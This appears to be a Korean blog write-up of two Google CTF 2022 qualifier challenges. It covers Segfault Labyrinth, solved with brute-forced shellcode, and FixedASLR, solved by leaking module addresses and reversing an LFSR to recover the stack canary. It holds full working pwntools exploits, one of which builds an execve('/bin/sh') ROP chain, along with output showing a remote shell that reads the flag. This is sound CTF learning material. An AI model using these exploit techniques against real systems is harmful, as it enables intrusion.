[ 2022 Google ctf Quals ] - Segfault Labyrinth, FixedAslr

mhibio·2022년 7월 5일
0

오랜만에 씨탭이 뛰고 싶어서 참가했지만 같이 할 수 있는 사람이 많이 없어서 아쉬웠다.
팀을 하나 구해서 같이 나가야하나싶다..

SEGFAULT LABYRINTH

fd = fopen("/dev/urandom", "r");
root_memory = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
mmaped_memory_ = root_memory;
while ( 1 )
{
  size = fread(ptr, 1uLL, 1uLL, fd);
  random = ptr[0] % 15;
  ptr[0] %= 15;
  if ( size != 1 )
    break;
  for ( i = 0LL; i != 16; ++i )
  {
    is_random = random == i;
    new_rand = rand();
    dummy_mmap = mmap(((new_rand << 12) + 0x10000), 0x1000uLL, 3 * is_random, 34, -1, 0LL);
    mmaped_memory_[i] = dummy_mmap;
    random = ptr[0];
  }
  mmaped_memory_ = mmaped_memory_[ptr[0]];
  if ( !--v4 )
  {
    flag_fd = fopen("flag.txt", "r");
    fread(mmaped_memory_, 1uLL, 0x1000uLL, flag_fd) )
. . . 
		myshellcode(root_memory);

코드요약을 해보자면 16번만큼 rand()mmaped_memory[i] 할당해주고, mmaped_memory = mmaped_memory[? % 15]를 수행한다.
mmaped_memory[? % 15]에만 rw 권한이 주어지며, 나머지 메모리는 ---permision을 가진다.

flag는 제일 마지막 메모리(16)중 하나에 작성된다.

즉 잘못 접근하면 ---의 권한 때문에 SegFault가 발생한다.

그리고 원하는 쉘코드를 주어진 root_memory map 을 인자로 4096 bytes 만큼 실행시킬 수 있다. 이를 브루트 포싱으로 해결하기 위해서는 16 ** 16의 경우의수가 존재하기때문에 거의 불가능.

출제자의 의도는 16개의 메모리중 올바른 메모리를 서치하여 플래그를 읽으라는 것 같지만, 오류가 있다.

srand() 함수를 실행하지 않았기 때문에 나오는 rand()값이 모두 일정하고, flag 는 가장 마지막에 작성된 16개의 메모리중 한곳에 쓰여있기때문에 이를 1/16으로 줄일 수 있다.

그 뒤는 브루트포싱으로 해결할 수 있다.

Exploit

from pwn import *

rand_list = [1549965389824, 2111611023360, 7017505939456, 6444496420864, 5775195029504, 8509385650176, 5624735154176, 6682698403840, 822263037952, 1186614226944]

pay = asm('''
mov rsi, 6444496420864 # one of 16 ( rand_list[3] )
mov rdx, 0x100
mov rax, 1
mov rdi, 1
syscall
''', arch='amd64')

for i in range(100):
        try:
                p = remote("segfault-labyrinth.2022.ctfcompetition.com", 1337)
                p.recvuntil(b'Labyrinth\n')

                p.send(p64(len(pay)))
                p.send(pay)
                print(p.recv())
                p.close()

        except:
                continue
❯ p solve.py
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
b'CTF{c0ngratulat1ons_oN_m4k1nG_1t_thr0uGh_th3_l4Byr1nth}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Closed connection to segfault-labyrinth.2022.ctfcompetition.com port 1337
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done

FIXEDASLR

바이너리는 loader 와 이를 라이브러리 없이 돌아갈 수 있게 해주는 7개의 오브젝트 파일들이 있다.

aarbof 취약점이 너무 잘보이기 때문에 취약점 설명은 넘어가고, 가장 중요한 Canary leak 과정만 설명하겠다.

BOF

if ( readline(v3, 16LL) == 1 )
  {
    nbytes = atou64(v3);
    if ( nbytes > 0x1F ) 
      puts("Name too long! No SCOREBOARD for you."); 
      // ! didnt return
      
    puts("Now type in your name:");
    read(0, buf, nbytes); 

Memory Leak

if ( readline(v2, 32LL) == 1 )
  {
    v1 = atou64(v2);
    // didnt idx check
    
    print("To get this place you need to beat this score: ");
    u64toa(s, *(game_scoreboard + v1));
    puts(s);

Canary Leak

MainGame 과정에서는 도저히 카나리릭을 할 수 있는 벡터가 보이지 않았다.
우리는 다른방법으로 릭을 시도해야한다.

카나리 릭을 하기 위해서는 프로그램의 rand() 작동 과정을 알아야 한다.

__int64 start()
{
  __int64 v1; // [rsp+8h] [rbp-18h]
  int k; // [rsp+14h] [rbp-Ch]
  int j; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  sys_getrandom(&seed, 8LL, 2u);
  init_stack_guard();
  for ( i = 0; files[i]; ++i )
    load_o_phase_1(&o_ctx + 616 * i, files[i]);
  for ( j = 0; files[j]; ++j )
    load_o_phase_2(&o_ctx + 616 * j, files[j]);
  for ( k = 0; files[k]; ++k )
    load_o_phase_final(&o_ctx + 616 * k, files[k]);
  v1 = export_get("main");
  zeromem(&edata, 512LL);
  zeromem(&o_ctx, 39424LL);
  zeromem(&export_info, 2560LL);
  export_count = 0;
  seed = 0LL;
  return pivot_to_main(v1);
}

__int64 init_stack_guard()
{
  __int64 v0; // rax
  __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = sys_mmap(0LL, 4096LL, 3LL, 34LL, 0LL, 0LL);
  syscall2(158LL, 4098LL, v2);
  v0 = rand(64LL);
  return write_stack_guard(v0);
}

unsigned __int64 __fastcall rand(int a1)
{
  int i; // [rsp+Ch] [rbp-Ch]
  unsigned __int64 v3; // [rsp+10h] [rbp-8h]

  v3 = 0LL;
  for ( i = 0; i < a1; ++i )
    v3 = rand_get_bit() | (2 * v3);
  return v3;
}

__int64 rand_get_bit()
{
  int v0; // ebx
  int v1; // ebx
  int v2; // ebx
  unsigned __int8 v4; // [rsp+Fh] [rbp-9h]

  v0 = get_nth_bits_from_seed(63LL);
  v1 = get_nth_bits_from_seed(61LL) ^ v0;
  v2 = get_nth_bits_from_seed(60LL) ^ v1;
  v4 = v2 ^ get_nth_bits_from_seed(58LL) ^ 1;
  seed = (2 * seed) | v4;
  return v4;
}

처음 seed는 완전 무작위.
그 뒤 init_stack_guard() 함수에서 rand(64) 함수로 Canary를 설정해준다.

rand()함수는 들어온 인자(bits)만큼 무작위 비트(rand_get_bit)를 생성해서 반환한다.

rand_get_bit() 과정을 요약하자면 다음과 같다.

# Pseudo
function rand_get_bit() {
	output = seed[63] ^ seed[61] ^ seed[60] ^ seed[58] ^ 1

	seed = (seed << 1)
	seed[0] |= output

	return output
}

여기에 한가지 특징이 존재한다.

  1. rand_get_bit 결과가 새로운 seed[0] 이 된다.

해당 특징을 이용하면 우리는 seed << 1을 수행한 상태여도, 손실된 63번 비트를 제외하고, [output, old_seed[61], old_seed[60], old_seed[58], 1]을 알수있다.
이를 xor수행하면 old_seed[63]를 구할 수 있다.

즉, 현재 seed를 기반으로 이전 seed1bits씩 복구할 수 있다.
그럼 현재 seed를 알아야 하는데 이는 다음과 같이해결할 수 있다.

# pseudo
module_list = ["main", "syscall", "guard", "basic", "game", "res", "debug"]

for i in range(len(a)):
	module_list[i] = mmap(rand(12) << 28)

Debug 를 제외한 나머지 모듈의 주소를 leak할 수 있고, 주소값들은 rand(12)의 결괏값이다.

이를 통해 현재 seed를 구할 수 있다.

seed = (b_main >> 28) << (64-12)
seed |= (b_syscall >> 28) << (64 - 24)
seed |= (b_guard >> 28) << (64 - 36)
seed |= (b_basic >> 28) << (64 - 48)
seed |= (b_game >> 28) << (64 - 60)
seed |= ((b_res >> 28) >> 8)

최초의 seed 를 구하고 다시 rand(64)를 하면 프로그램의 카나리 값과 일치하기 때문에 ROP를 수행할 수 있다.

def repair_63bits(_cur_seed):
    res = (_cur_seed & 1) ^ 1
    ratio = [62, 61, 59]
    for i in ratio:
        res ^= get_bit(_cur_seed, i)
    return (res << 63) | (_cur_seed >> 1)

rand_seed = seed # current seed
rand(8) # random padding

b_debug = rand(12) << 28
log.info("[+] Debug.o : " + hex(b_debug))
for i in range(64 + 64):
    seed = repair_63bits(seed)

rand_seed = seed
canary = rand(64)
log.info("[+] Canary " + hex(canary))

Exploit

from pwn import *

#p = process("./loader")
p = remote("fixedaslr.2022.ctfcompetition.com", 1337)

def solver(_round):
    p.sendlineafter(b"choice?\n", b"1")
    for i in range(_round):
        p.recvuntil(b" is ")
        p.sendline(str(eval(p.recvline()[:-3].decode())).encode())

    p.sendlineafter(b"?\n", b'1')
    p.sendlineafter(b"?\n", b'4096')

def dump(_idx, isSub=None):
    if _idx < 0:        _idx = (_idx//8) & 0xffffffffffffffff
    elif isSub: _idx = _idx // 8
    else:   pass
    p.sendlineafter(b"choice?\n", b"3")
    p.sendlineafter(b"(0-9)?\n", str(_idx).encode())
    p.recvuntil(b"score: ")
    b_basic = int(p.recvline().strip())
    return b_basic

def get_idx(_base, _target):
    return ((1 << 64) - _base ) // 8 + _target//8

#######################################################
b_game = dump(-0x2000+8*5, 1) - 0x1000
b_guard = dump(-0x2000+8*7, 1) - 0x1000
b_main = dump(0x1000, 1) - 0x2060
b_res = dump(get_idx(b_main, b_game)) - 0x1000
b_basic = dump(get_idx(b_main, b_game)-(0x2000-8)//8) - 0x119c
b_syscall = dump(get_idx(b_main, b_basic)-(0x2000-8*7)//8) - 0x10ba

log.info("[+] Main.o : " + hex(b_main))
log.info("[+] Syscall.o : " + hex(b_syscall))
log.info("[+] Guard.o : " + hex(b_guard))
log.info("[+] Basic.o : " + hex(b_basic))
log.info("[+] Game.o : " + hex(b_game))
log.info("[+] Res.o : " + hex(b_res))

#######################################################
# main - syscall - guard - basic - game - res - debug #
#######################################################

solver(20)
p.sendafter(b":\n", b"/bin/sh\x00") # make binsh
def get_bit(_val, _idx):
    return _val >> _idx & 1

def rand(_bits):
    res = 0
    for i in range(_bits):
        a = get_random_bit()
        res = (res << 1) | a
    return res

def get_random_bit():
    global rand_seed
    ratio = [63, 61, 60, 58]
    mybit = 1
    for i in ratio:
        mybit ^= get_bit(rand_seed, i)

    rand_seed = ((rand_seed << 1) | mybit) & 0xffffffffffffffff
    return mybit

def repair_63bits(_cur_seed):
    res = (_cur_seed & 1) ^ 1
    ratio = [62, 61, 59]
    for i in ratio:
        res ^= get_bit(_cur_seed, i)
    return (res << 63) | (_cur_seed >> 1)

seed = (b_main >> 28) << (64-12)
seed |= (b_syscall >> 28) << (64 - 24)
seed |= (b_guard >> 28) << (64 - 36)
seed |= (b_basic >> 28) << (64 - 48)
seed |= (b_game >> 28) << (64 - 60)
seed |= ((b_res >> 28) >> 8)

rand_seed = seed # current seed
rand(8) # padding bit

b_debug = rand(12) << 28
log.info("[+] Debug.o : " + hex(b_debug))
for i in range(64 + 64):
    seed = repair_63bits(seed)

rand_seed = seed
canary = rand(64)
log.info("[+] Canary " + hex(canary))

binsh = b_main + 0x2080
prdi = b_debug + 0x1001
prsi = b_debug + 0x1004
prdx = b_debug + 0x1010
prax = b_debug + 0x1007
syscall = b_syscall + 0x100a

pay = b'A'*0x28
pay += p64(canary)
pay += p64(0)

pay += p64(prax)
pay += p64(59)

pay += p64(prdi)
pay += p64(binsh)

pay += p64(prsi)
pay += p64(0)

pay += p64(prdx)
pay += p64(0)

pay += p64(syscall)

solver(30)
p.send(pay)

p.interactive()
❯ p solve.py
[+] Opening connection to fixedaslr.2022.ctfcompetition.com on port 1337: Done
[*] [+] Main.o : 0xc6f0000000
[*] [+] Syscall.o : 0xe0f0000000
[*] [+] Guard.o : 0xe1c0000000
[*] [+] Basic.o : 0xf1b0000000
[*] [+] Game.o : 0xf70000000
[*] [+] Res.o : 0xcca0000000
[*] [+] Debug.o : 0xc840000000
[*] [+] Canary 0x48b6d666bcca8336
[*] Switching to interactive mode
Name too long! No SCOREBOARD for you.
Now type in your name:
$ ls
basic.o
debug.o
flag
game.o
guard.o
loader
main.o
res.o
syscalls.o
$ cat flag
CTF{GuessYouCanSayTheCookieGotRandomlyBroken}
$
profile
Soongsil Univ. Interested In Security. Hello :)

0개의 댓글